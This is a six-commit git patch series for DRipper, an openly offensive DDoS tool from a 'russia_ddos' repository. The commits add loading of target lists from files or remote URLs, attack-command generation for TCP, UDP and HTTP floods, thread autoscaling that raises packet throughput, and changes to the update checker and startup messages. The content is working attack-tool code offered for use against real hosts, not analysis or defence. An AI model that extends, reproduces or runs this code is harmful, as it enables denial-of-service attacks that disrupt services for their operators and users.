From 897b778677efcb02d66bc006c8b75686acdbf82c Mon Sep 17 00:00:00 2001 From: AlexNDRmac Date: Sun, 17 Apr 2022 10:36:00 +0300 Subject: [PATCH 1/6] Change messages for start script, add helpful description --- ripper/services.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/ripper/services.py b/ripper/services.py index 6ec77d9..acd244e 100644 --- a/ripper/services.py +++ b/ripper/services.py @@ -127,7 +127,7 @@ def connect_host(target: Target, _ctx: Context, proxy: Proxy = None): udp_socket.sendto(send_bytes, target.hostip_port_tuple()) udp_socket.recvfrom(100) else: - raise e + raise e finally: target.stats.connect.set_state_is_connected() @@ -267,7 +267,7 @@ def main(): guc = GithubUpdatesChecker() _ctx.latest_version = guc.fetch_lastest_version() - _ctx.logger.rule('[bold]Starting DRipper') + _ctx.logger.rule('[bold]Check connection with targets') for target in _ctx.targets_manager.targets[:]: # Proxies should be validated during the runtime retry_cnt = 1 if _ctx.proxy_manager.proxy_list_initial_len > 0 or target.attack_method == 'udp' else 3 @@ -275,6 +275,11 @@ def main(): if not connect_host_loop(_ctx=_ctx, target=target, retry_cnt=retry_cnt): _ctx.targets_manager.delete_target(target) _ctx.logger.rule() + + if len(_ctx.targets_manager.targets) == 0: + _ctx.logger.log('All targets looks dead. Unable to connect to targets.\nPlease select another targets to run DRipper') + exit(1) + _ctx.validate() # Start Threads From 210251e99e72939bbdfea0029531bd9d52deffe0 Mon Sep 17 00:00:00 2001 From: AlexNDRmac Date: Sun, 17 Apr 2022 23:43:52 +0300 Subject: [PATCH 2/6] Add targets list --- ripper/arg_parser.py | 3 +++ ripper/context/context.py | 35 +++++++++++++++++++++++------------ ripper/services.py | 29 +++++++++++++++++------------ 3 files changed, 43 insertions(+), 24 deletions(-) diff --git a/ripper/arg_parser.py b/ripper/arg_parser.py index 0d88dc4..05ae833 100644 --- a/ripper/arg_parser.py +++ b/ripper/arg_parser.py @@ -24,6 +24,9 @@ def parser_add_options(parser: OptionParser) -> None: parser.add_option('-s', '--targets', dest='targets', action='append', help='Attack target in {scheme}://{hostname}[:{port}][{path}] format. Multiple targets allowed.') + parser.add_option('--targets-list', + dest='targets_list', type='str', + help='File (fs or http/https) with targets in {scheme}://{hostname}[:{port}][{path}] line format.') parser.add_option('-m', '--method', dest='attack_method', type='str', help=f'Attack method: {", ".join(attack_method_labels)}') diff --git a/ripper/context/context.py b/ripper/context/context.py index 1f672ba..bf58008 100644 --- a/ripper/context/context.py +++ b/ripper/context/context.py @@ -70,14 +70,17 @@ def __init__(self, args): self.current_version = Version(__version__) attack_method = getattr(args, 'attack_method', None) + self.logger = Console(width=MIN_SCREEN_WIDTH) + self.targets_manager = TargetsManager(_ctx=self) + self.logger.print('Getting your current Public IPv4 address...', end='') self.myIpInfo = IpInfo(common.get_current_ip()) + self.logger.print('done.') self.headers_provider = HeadersProvider() self.sock_manager = SocketManager() self.proxy_manager = ProxyManager() self.time_interval_manager = TimeIntervalManager() self.duration_manager = DurationManager(duration_seconds=getattr(args, 'duration', None)) - self.logger = Console(width=MIN_SCREEN_WIDTH) self.is_health_check = bool(getattr(args, 'health_check', ARGS_DEFAULT_HEALTH_CHECK)) self.dry_run = getattr(args, 'dry_run', False) self.sock_manager.socket_timeout = self._getattr(args, 'socket_timeout', ARGS_DEFAULT_SOCK_TIMEOUT) @@ -101,18 +104,26 @@ def __init__(self, args): if self.proxy_manager.proxy_list_initial_len: self.sock_manager.socket_timeout *= 2 - if args and getattr(args, 'targets', None): + if args and getattr(args, 'targets_list', None): + targets_file: str = getattr(args, 'targets_list', None) + message = f'Downloading targets from {targets_file}' if targets_file.startswith('http') else 'Reading targets from file...' + self.logger.print(message) + input_targets = common.read_file_lines(targets_file) + self.logger.print(f'Loaded list with {len(input_targets)} targets.') + else: + # args and getattr(args, 'targets', None): input_targets = getattr(args, 'targets', []) - for target_uri in input_targets: - target = Target( - target_uri=target_uri, - attack_method=attack_method, - # TODO move http_method to target_uri to allow each target have its own method - http_method=getattr(args, 'http_method', ARGS_DEFAULT_HTTP_ATTACK_METHOD).upper(), - min_random_packet_len=getattr(args, 'min_random_packet_len', None), - max_random_packet_len=getattr(args, 'max_random_packet_len', None), - ) - self.targets_manager.add_target(target) + + for target_uri in input_targets: + target = Target( + target_uri=target_uri, + attack_method=attack_method, + # TODO move http_method to target_uri to allow each target have its own method + http_method=getattr(args, 'http_method', ARGS_DEFAULT_HTTP_ATTACK_METHOD).upper(), + min_random_packet_len=getattr(args, 'min_random_packet_len', None), + max_random_packet_len=getattr(args, 'max_random_packet_len', None), + ) + self.targets_manager.add_target(target) arg_threads_count = getattr(args, 'threads_count', ARGS_DEFAULT_THREADS_COUNT) if arg_threads_count == 'auto': diff --git a/ripper/services.py b/ripper/services.py index acd244e..f01f414 100644 --- a/ripper/services.py +++ b/ripper/services.py @@ -189,15 +189,17 @@ def generate_valid_commands(uri): def validate_input(args) -> bool: """Validates input params.""" - for target_uri in args.targets: - if not Target.validate_format(target_uri): - common.print_panel( - f'Wrong target format in [yellow]{target_uri}[/]. Check param -s (--targets) {args.targets}\n' - f'Target should be in next format: ' + '{scheme}://{hostname}[:{port}][{path}]\n\n' + - f'Possible target format may be:\n' - f'[yellow]tcp://{target_uri}, udp://{target_uri}, http://{target_uri}, https://{target_uri}[/]' - ) - return False + # Do not validate targets if reads targets from file or remote location + if args.targets_list is None: + for target_uri in args.targets: + if not Target.validate_format(target_uri): + common.print_panel( + f'Wrong target format in [yellow]{target_uri}[/]. Check param -s (--targets) {args.targets}\n' + f'Target should be in next format: ' + '{scheme}://{hostname}[:{port}][{path}]\n\n' + + f'Possible target format may be:\n' + f'[yellow]tcp://{target_uri}, udp://{target_uri}, http://{target_uri}, https://{target_uri}[/]' + ) + return False if args.threads_count != 'auto' and (not str(args.threads_count).isdigit() or int(args.threads_count) < 1): common.print_panel(f'Wrong threads count. Check param [yellow]-t (--threads) {args.threads_count}[/]') @@ -230,14 +232,14 @@ def validate_input(args) -> bool: def render_statistics(_ctx: Context) -> None: """Show DRipper runtime statistics.""" - console = Console() + console = Console(width=MIN_SCREEN_WIDTH) update_available = '' if _ctx.latest_version is not None and _ctx.current_version < _ctx.latest_version: update_available = f'\n[u green reverse link={GITHUB_URL}/releases] Newer version {_ctx.latest_version.version} is available! [/]' - logo = Panel(LOGO_COLOR + update_available, box=box.SIMPLE, width=MIN_SCREEN_WIDTH) - console.print(logo, justify='center', width=MIN_SCREEN_WIDTH) + logo = Panel(LOGO_COLOR + update_available, box=box.SIMPLE) + console.print(logo, justify='center') with Live(_ctx.stats.build_stats(), vertical_overflow='visible', refresh_per_second=2) as live: live.start() @@ -251,6 +253,9 @@ def render_statistics(_ctx: Context) -> None: def main(): """The main function to run the script from the command line.""" + console = Console(width=MIN_SCREEN_WIDTH) + console.rule(f'[bold]Starting DRipper {VERSION}') + args = arg_parser.create_parser().parse_args() if len(sys.argv) < 2 or not validate_input(args[0]): From aace47f30c317ab8b9afc175d2b0904650cc0a36 Mon Sep 17 00:00:00 2001 From: AlexNDRmac Date: Mon, 18 Apr 2022 09:15:44 +0300 Subject: [PATCH 3/6] Simplify update checker --- ripper/github_updates_checker.py | 42 ++++++---------------------- ripper/services.py | 2 +- tests/test_github_updates_checker.py | 17 +---------- 3 files changed, 11 insertions(+), 50 deletions(-) diff --git a/ripper/github_updates_checker.py b/ripper/github_updates_checker.py index a0eec25..fae013f 100644 --- a/ripper/github_updates_checker.py +++ b/ripper/github_updates_checker.py @@ -1,5 +1,4 @@ -import os -import json +import re import urllib.request import threading @@ -53,41 +52,18 @@ def __init__(self, owner: str = GITHUB_OWNER, repo: str = GITHUB_REPO): self._repo = repo def get_request_url(self): - return f'https://api.github.com/repos/{self._owner}/{self._repo}/git/refs/tags' + return f'https://raw.githubusercontent.com/{self._owner}/{self._repo}/main/_version.py' - def fetch_tags_data(self): - url = self.get_request_url() + def fetch_latest_version(self) -> Version: try: - request = urllib.request.Request(url=url, headers=self._get_headers()) - raw = urllib.request.urlopen(request).read().decode('utf8') - data = json.loads(raw) + request = urllib.request.Request(url=self.get_request_url()) + raw: str = urllib.request.urlopen(request).read().decode('utf8') + ver = re.search(r"(\d+\.\d+\.\d+)", raw).group(0) + self.latest_version = Version(ver) except: - data = [] - return data - - def _get_headers(self): - if os.getenv("GITHUB_TOKEN", False): - return {'Authorization': f'Bearer {os.getenv("GITHUB_TOKEN")}'} - else: - return {} - - def _ref_to_tag_name(self, ref: str): - return ''.join(ref.split('/')[2:]) - - def fetch_tag_names(self) -> list[str]: - tags_data = self.fetch_tags_data() - return [self._ref_to_tag_name(data['ref']) for data in tags_data] - - def fetch_versions(self) -> list[Version]: - tag_names = self.fetch_tag_names() - return [Version(vs) for vs in filter(lambda tag_name: Version.validate(tag_name), tag_names)] - - def fetch_lastest_version(self) -> Version: - versions = self.fetch_versions() - if not versions or len(versions) < 1: return None - self.latest_version = versions[-1] + return self.latest_version def demon_update_latest_version(self): - threading.Thread(target=self.fetch_lastest_version).start() + threading.Thread(target=self.fetch_latest_version).start() diff --git a/ripper/services.py b/ripper/services.py index f01f414..61268be 100644 --- a/ripper/services.py +++ b/ripper/services.py @@ -270,7 +270,7 @@ def main(): go_home(_ctx) guc = GithubUpdatesChecker() - _ctx.latest_version = guc.fetch_lastest_version() + _ctx.latest_version = guc.fetch_latest_version() _ctx.logger.rule('[bold]Check connection with targets') for target in _ctx.targets_manager.targets[:]: diff --git a/tests/test_github_updates_checker.py b/tests/test_github_updates_checker.py index 40b2a56..d0b5831 100644 --- a/tests/test_github_updates_checker.py +++ b/tests/test_github_updates_checker.py @@ -1,28 +1,13 @@ -import os - import pytest import time from ripper.github_updates_checker import GithubUpdatesChecker, Version -@pytest.mark.skipif(os.getenv('CI') == 'true', reason='May freeze CI test...') class DescribeGithubUpdatesChecker: - def it_can_read_tag_names(self): - guc = GithubUpdatesChecker() - tag_names = guc.fetch_tag_names() - assert len(tag_names) > 0 - assert isinstance(tag_names[0], str) - - def it_can_read_versions(self): - guc = GithubUpdatesChecker() - versions = guc.fetch_versions() - assert len(versions) > 0 - assert Version('1.0.0') <= versions[-1] - def it_can_read_latest_version(self): guc = GithubUpdatesChecker() - latest_version = guc.fetch_lastest_version() + latest_version = guc.fetch_latest_version() assert Version('1.0.0') <= latest_version def it_can_get_str_version(self): From 6c02c2ec91f833a232860e5c6e5770595d2fc81f Mon Sep 17 00:00:00 2001 From: AlexNDRmac Date: Mon, 18 Apr 2022 10:07:59 +0300 Subject: [PATCH 4/6] Fix messages, use interval for cpu load detection --- CHANGELOG.md | 2 ++ ripper/context/context.py | 14 +++++++++----- ripper/services.py | 6 ++++-- ripper/targets_manager.py | 16 ++++++++-------- 4 files changed, 23 insertions(+), 15 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 46b1766..6811704 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,8 @@ and this project adheres to [Semantic Versioning](https://semver.org). ### Changed - Random bytes optimization (performance improvement) - Changed CLI arguments for package size management +- Improved speed for new version check +- Improved text messages for better user experience ### Fixed - Fixed command parameter generator to help users with incorrect command line parameters or errors with parameters diff --git a/ripper/context/context.py b/ripper/context/context.py index bf58008..71ad695 100644 --- a/ripper/context/context.py +++ b/ripper/context/context.py @@ -73,9 +73,11 @@ def __init__(self, args): self.logger = Console(width=MIN_SCREEN_WIDTH) self.targets_manager = TargetsManager(_ctx=self) - self.logger.print('Getting your current Public IPv4 address...', end='') + + self.logger.log('Getting your current Public IPv4 address...') self.myIpInfo = IpInfo(common.get_current_ip()) - self.logger.print('done.') + self.logger.log(f'Your start Public IPv4 is: {self.myIpInfo.ip_masked}') + self.headers_provider = HeadersProvider() self.sock_manager = SocketManager() self.proxy_manager = ProxyManager() @@ -106,15 +108,17 @@ def __init__(self, args): if args and getattr(args, 'targets_list', None): targets_file: str = getattr(args, 'targets_list', None) - message = f'Downloading targets from {targets_file}' if targets_file.startswith('http') else 'Reading targets from file...' - self.logger.print(message) + message = f'Downloading targets from {targets_file}...' if targets_file.startswith('http') else 'Reading targets from file...' + self.logger.log(message) input_targets = common.read_file_lines(targets_file) - self.logger.print(f'Loaded list with {len(input_targets)} targets.') + self.logger.log(f'Loaded list with {len(input_targets)} targets') else: # args and getattr(args, 'targets', None): input_targets = getattr(args, 'targets', []) for target_uri in input_targets: + if target_uri.__contains__('#'): + continue target = Target( target_uri=target_uri, attack_method=attack_method, diff --git a/ripper/services.py b/ripper/services.py index 61268be..70b4c07 100644 --- a/ripper/services.py +++ b/ripper/services.py @@ -165,8 +165,8 @@ def generate_valid_commands(uri): tcp_uri += f' -s tcp:{hostname[1]}{port}' http_uri += f' -s http:{hostname[1]}{port}' - tcp_attack = f'-t {ARGS_DEFAULT_THREADS_COUNT} -r {ARGS_DEFAULT_RND_PACKET_LEN} -l {ARGS_DEFAULT_MAX_RND_PACKET_LEN}{tcp_uri}' - udp_attack = f'-t {ARGS_DEFAULT_THREADS_COUNT} -r {ARGS_DEFAULT_RND_PACKET_LEN} -l {ARGS_DEFAULT_MAX_RND_PACKET_LEN}{udp_uri}' + tcp_attack = f'-t {ARGS_DEFAULT_THREADS_COUNT} {tcp_uri}' + udp_attack = f'-t {ARGS_DEFAULT_THREADS_COUNT} {udp_uri}' http_attack = f'-t {ARGS_DEFAULT_THREADS_COUNT} -e {ARGS_DEFAULT_HTTP_ATTACK_METHOD}{http_uri}' res = '' @@ -269,8 +269,10 @@ def main(): _ctx = Context(args[0]) go_home(_ctx) + _ctx.logger.log('Check for DRipper Updates...') guc = GithubUpdatesChecker() _ctx.latest_version = guc.fetch_latest_version() + _ctx.logger.log(f'Latest version is: {_ctx.latest_version.version}') _ctx.logger.rule('[bold]Check connection with targets') for target in _ctx.targets_manager.targets[:]: diff --git a/ripper/targets_manager.py b/ripper/targets_manager.py index d4b842e..74c0555 100644 --- a/ripper/targets_manager.py +++ b/ripper/targets_manager.py @@ -22,7 +22,7 @@ class TargetsManagerPacketsStats: total_sent_bytes: int = 0 avg_sent_per_second: int = 0 avg_sent_bytes_per_second: int = 0 - + def __init__(self, targets: list[Target]) -> None: duration_seconds = None for target in targets: @@ -33,7 +33,7 @@ def __init__(self, targets: list[Target]) -> None: if duration_seconds: self.avg_sent_per_second = self.total_sent / duration_seconds self.avg_sent_bytes_per_second = self.total_sent / duration_seconds - + def __ge__(self, other: 'TargetsManagerPacketsStats'): return self.avg_sent_per_second > other.avg_sent_per_second \ and self.avg_sent_bytes_per_second > other.avg_sent_bytes_per_second @@ -59,7 +59,7 @@ def __init__(self, targets_manager: 'TargetsManager', interval_delay_seconds: in self._targets_manager = targets_manager self._interval_delay_seconds = interval_delay_seconds self._stop_event = Event() - + def scale_up(self): threads_count = self._targets_manager.threads_count new_threads_count = threads_count + self._targets_manager.targets_count() @@ -72,7 +72,7 @@ def __runner__(self): time.sleep(self._interval_delay_seconds) current_packet_stats = TargetsManagerPacketsStats(targets=self._targets_manager.targets) if self._packet_stats: - if self._packet_stats < current_packet_stats and cpu_percent() < MAX_AUTOSCALE_CPU_PERCENTAGE: + if self._packet_stats < current_packet_stats and cpu_percent(5) < MAX_AUTOSCALE_CPU_PERCENTAGE: self._failed_tests_cnt = 0 self.scale_up() else: @@ -80,7 +80,7 @@ def __runner__(self): if self._failed_tests_cnt >= MAX_FAILED_FAILED_AUTOSCALE_TESTS: self.stop() self._packet_stats = current_packet_stats - + def start(self): events_journal.info(f'Start automatic threads distribution') Thread(target=self.__runner__).start() @@ -116,15 +116,15 @@ def free_threads_count(self): @property def targets(self): return self._targets[:] - + @property def threads_count(self): return self._threads_count - + @property def threads_distribution(self): return self._threads_distribution - + def set_threads_count(self, threads_count: int): # We can't have fewer threads than targets self._threads_count = max(threads_count, len(self._targets)) From 6a8b7afbd8fddc6c0ad63c003d09931916959b43 Mon Sep 17 00:00:00 2001 From: AlexNDRmac Date: Mon, 18 Apr 2022 10:16:07 +0300 Subject: [PATCH 5/6] Bump version --- CHANGELOG.md | 5 ++++- _version.py | 2 +- ripper/context/context.py | 1 - 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6811704..79c7e5a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,7 +4,10 @@ All notable changes to this project will be documented in this file. The format based on [Keep a Changelog](https://keepachangelog.com) and this project adheres to [Semantic Versioning](https://semver.org). -## [Unreleased](https://github.com/alexmon1989/russia_ddos/compare/2.5.0...HEAD) +## [Unreleased](https://github.com/alexmon1989/russia_ddos/compare/2.6.0...HEAD) + + +## [v2.6.0](https://github.com/alexmon1989/russia_ddos/compare/2.5.0...2.6.0) ### Added - Attack duration param (in seconds). After this duration script will stop its execution. diff --git a/_version.py b/_version.py index 50062f8..e5e59e3 100644 --- a/_version.py +++ b/_version.py @@ -1 +1 @@ -__version__ = "2.5.0" +__version__ = "2.6.0" diff --git a/ripper/context/context.py b/ripper/context/context.py index 71ad695..d34a229 100644 --- a/ripper/context/context.py +++ b/ripper/context/context.py @@ -3,7 +3,6 @@ from rich.console import Console from _version import __version__ -from ripper.duration_manager import DurationManager from ripper.github_updates_checker import Version from ripper import common From a0dfee053900440da6323f7e9ef32b5f7f370377 Mon Sep 17 00:00:00 2001 From: AlexNDRmac Date: Mon, 18 Apr 2022 10:31:05 +0300 Subject: [PATCH 6/6] Update changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 79c7e5a..ddf5fb4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,6 +15,7 @@ and this project adheres to [Semantic Versioning](https://semver.org). - Threads count autoscaling. `-t` argument (same as `--threads-count`) now supports **auto**. The auto-scaling method is the default. - Check minimal required python version - Attack duration controller. `-d` argument (same as `--duration`) set the attack duration in seconds. After this duration script will stop its execution. +- Targets list support. `--targets-list` argument allows you to use list with targets. List with targets can be path to file or hyperlink. ### Changed - Random bytes optimization (performance improvement)